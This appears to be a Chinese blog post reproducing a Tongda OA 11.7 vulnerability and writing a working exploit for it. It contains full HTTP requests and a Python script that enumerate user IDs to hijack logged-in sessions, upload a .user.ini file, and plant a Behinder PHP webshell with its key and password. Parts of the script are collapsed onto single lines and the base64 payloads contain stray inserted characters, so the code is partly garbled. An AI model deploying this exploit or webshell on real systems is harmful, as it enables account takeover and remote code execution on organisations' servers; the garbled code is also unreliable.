手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

前言

最近好久没水文章了,前段时间省攻防演练时这种OA的资产比较多,就打算来带你们复现一波,顺便说下怎么编写Exp。本人文笔不好哪里写的不清楚请各位见谅,也欢迎大家和我一起交流学习。

一、环境搭建

环境:

软件版本:通达OA V11.7
主机地址:192.168.179.174
操作系统:Windows Server 2012 下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe

下载完成->双击跟着提示安装即可

图片[1]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

二、漏洞复现

环境:

攻击环境:Windows 10
使用工具:Burp Suite

复现:

已知通达OA 11.7版本存在“有条件的”任意用户登陆(如果当前站点有正在登录的用户,我们通过遍历uid就可以登录所有当前在线的账号)

打开burp suite内置浏览器访问:

目标地址+/general/

提示未登录:

图片[2]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

利用漏洞去获取cookies

目标网址+/mobile/auth_mobi.php?isAvatar=1&uid=UID&P_VER=0  #UID=0是管理员admin用户

如果返回RELOGIN的话则用户离线:

图片[3]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科如果返回信息为空则用户在线:

图片[4]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科这时候访问后台就可以直接以此用户身份登陆:

图片[5]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

详解参考:https://lorexxar.cn/2021/03/03/tongda11-7rce/

GetShell:

先上传一个log文件

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general\\reportshop\workshop\\report\\attachment-remark/.user HTTP/1.1
Host: 192.168.179.174
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=25jve8fhcdjmo0g646fr8sl9q4
Connection: close
Content-Length: 205
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="111111.ini"
Content-Type: text/plain
auto_prepend_file=111111.log
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"
提交 -----------------------------17518323986548992951984057104--

图片[6]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

写冰蝎马进去

POST /general/hr/manage/staff_info/update.php?USER_ID=../../general\\reportshop\workshop\\report\\attachment-remark/111111 HTTP/1.1
Host: 192.168.179.174
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=25jve8fhcdjmo0g646fr8sl9q4
Connection: close
Content-Length: 780
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="111111.log"
Content-Type: text/plain

<?php
echo 'success';
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b";
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");

		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15];
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"

提交
-----------------------------17518323986548992951984057104--

图片[7]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

连接地址:目标+/reportshop/workshop/report/attachment-remark/form.inc.php #密码:rebeyond

图片[8]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

三、EXP编写

复现完成了,开始研究编写EXP吧

1、获取OA版本信息

已知访问:目标+/inc/expired.php可获得版本信息

图片[9]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

我们用创建一个函数来获取版本信息并正则过滤无关标签:

def Check_Version(url):
    print('\n[*]正在获取版本信息:\n')
    url = url + '/inc/expired.php'
    try:
        response = requests.get(url=url, headers=headers, timeout=5)
        pattern = re.compile('<td class="Big"><span class="big3">(.*?)</span>', re.S)
        info = re.findall(pattern, response.text)
        print(info[0].replace('<br>', '').replace(' ', '').replace('	', '').strip() + '\n')
    except:
        print('未发现版本信息\n')

图片[10]-手把手带你编写Exp–通达OA篇【附复现过程】 – 作者:XiaoBai12138-安全小百科

2、遍历UID查找在线用户:

定义一个跑cookies函数

def Check_Cookies(url, uid):
    url = url + '/mobile/auth_mobi.php?isAvatar=1&uid=%d&P_VER=0' % (uid)  # 遍历地址
manage = url + "/general/" # 后台地址
print('[*]正在遍历UID=%d' % (uid))
try: response = requests.get(url=url, headers=headers, timeout=5) # 发送GET请求
if "RELOGIN" in response.text and response.status_code == 200: # RELOGIN则不在线
print('[-]目标用户离线\n') elif response.status_code == 200 and response.text == "": # 返回内容为空则在线
print('[+]目标用户在线\n')
# 正则提取cookies
pattern = re.findall(r'PHPSESSID=(.*?);', str(response.headers)) cookie = "PHPSESSID={}".format(pattern[0]) return cookie # 返回Cookies
else: print('[*]未知错误\n') sys.exit(0) except Exception as e: print('请求失败,无法建立有效连接\n') sys.exit(0)
if __name__ == '__main__':
url = str(input('URL: '))
for i in range(1, 1000): #跑UID从0到1000
uid = i
time.sleep(0)
cookie = Check_Cookies(url, uid)
if cookie != None:
break

3、GetShell:

Upload、Getshell函数:

def Upload_ini(url, cookie):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.360',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Cookie': cookie,
        'Content-Type': 'multipart/form-data; boundary=---------------------------17518323986548992951984057104',
    }
    payload = '/general/hr/manage/staff_info/update.php?USER_ID=../../general\\reportshop\workshop\\report\\attachment-remark/.user'
    data = base64.b64decode(
        'LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0iMTExMTExLmluaSIKQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluCgphdXRvX3ByZXBlbmRfZmlsZT0xMTExMTEubG9nCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQKQ29udGVudC1EaXNwb3NpdGlvbjogZm和谐9ybS1kYXRhOyBuYW1lPSJzdWJtaXQiCgrmj5DkuqQKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNC0t')  #将上传ini报文进行BASE64
try: res = requests.post(url=url + payload, data=data, headers=headers, timeout=5) if res.status_code == 200 and '档案已保存' in res.text: print('[*] 上传.user.ini成功') Upload_Log(url, cookie) else: print('[-] 上传.user.ini失败') sys.exit(0) except: pass def Upload_Log(url, cookie): headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.360', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Cookie': cookie, 'Content-Type': 'multipart/form-data; boundary=---------------------------17518323986548992951984057104', } payload = '/general/hr/manage/staff_info/update.php?USER_ID=../../general\\reportshop\workshop\\report\\attachment-remark/111111' data = base64.b64decode( 'LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9IkFUVEFDSE1FTlQiOyBmaWxlbmFtZT0iMTExMTExLmxvZyIKQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluCgo8P3BocAplY2hvICdzdWNjZXNzJzsKQGVycm和谐9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC和谐4iIik7CgoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOwogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8+Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTc1MTgzMjM5ODY1NDg5OTI5NTE5ODQwNTcxMDQKQ29udGVudC1EaXNwb3NpdGlvbjogZm和谐9ybS1kYXRhOyBuYW1lPSJzdWJtaXQiCgrmj5DkuqQKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNzUxODMyMzk4NjU0ODk5Mjk1MTk4NDA1NzEwNC0t') #上传冰蝎三shellcode报文try: res = requests.post(url=url + payload, data=data, headers=headers, timeout=5) if res.status_code == 200 and '档案已保存' in res.text: print('[+] 上传成功') Get_Shell(url, cookie) else: print('[-] 上传失败') sys.exit(0) except: pass def Get_Shell(url, cookie): headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.360', 'Cookie': cookie } payload = '/general/reportshop/workshop/report/attachment-remark/form.inc.php' try: res = requests.get(url=url + payload, headers=headers, timeout=5) if res.status_code == 200 and 'success' in res.text: print('[+] 成功上传冰蝎三Shell, 密码为: rebeyond) print('[+] Shell地址为: {}'.format(url + payload)) else: print('[-] 上传失败') except: pass

总结

声明:

写本文章只是带大家了解这个漏洞复现和EXP的编写流程,请大家理性阅读,不要触犯法律哈。

修复方案

万能公式:升级最新版。哈哈哈

来源:freebuf.com 2021-06-08 16:21:27 by: XiaoBai12138

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论